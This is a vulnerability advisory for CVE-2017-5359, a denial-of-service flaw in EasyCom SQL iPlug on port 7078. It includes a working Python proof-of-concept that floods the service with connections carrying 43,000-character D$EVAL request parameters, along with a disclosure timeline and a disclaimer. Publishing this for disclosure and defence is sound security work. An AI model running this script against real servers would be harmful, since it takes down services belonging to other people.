EasyCom For PHP 4.0.0 - Denial of Service

[+] Credits: John Page AKA Hyp3rlinX	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/EASYCOM-SQL-IPLUG-DENIAL-OF-SERVICE.txt

[+] ISR: ApparitionSec





Vendor:

================

easycom-aura.com







Product:

===========

SQL iPlug

EasycomPHP_4.0029.iC8im2.exe



SQL iPlug provides System i applications real-time access to heterogeneous and external databases

(Oracle, SQL Server, MySQL, MS Access, Sybase, Progress) in a completely transparent manner and without requiring replication.







Vulnerability Type:

===================

Denial Of Service







CVE Reference:

==============

CVE-2017-5359







Security Issue:

================

SQL iPlug listens on port 7078 by default, it suffers from denial of service when sending overly long string via

HTTP requests fed to the "D$EVAL" parameter.







Exploit/POC:

============



import socket



print 'EasyCom SQL-IPLUG DOS 0day!'

print 'hyp3rlinx'



IP = raw_input("[IP]> ")

PORT = 7078 

payload="A"*43000

 

arr=[]

c=0

while 1:

    try:

        arr.append(socket.create_connection((IP,PORT)))

        arr[c].send('GET /?D$EVAL='+payload+" HTTP/1.1\r\n\r\n")

        c+=1

        print "doit!"

    except socket.error:

        print "[*] 5th ave 12:00"

        raw_input()

        break









Disclosure Timeline:

======================================

Vendor Notification: December 22, 2016

Vendor acknowledgement: December 23, 2016

Vendor Release Fix/Version February 20, 2017

February 22, 2017 : Public Disclosure









Network Access:

===============

Remote







Severity:

===========

Medium









[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere.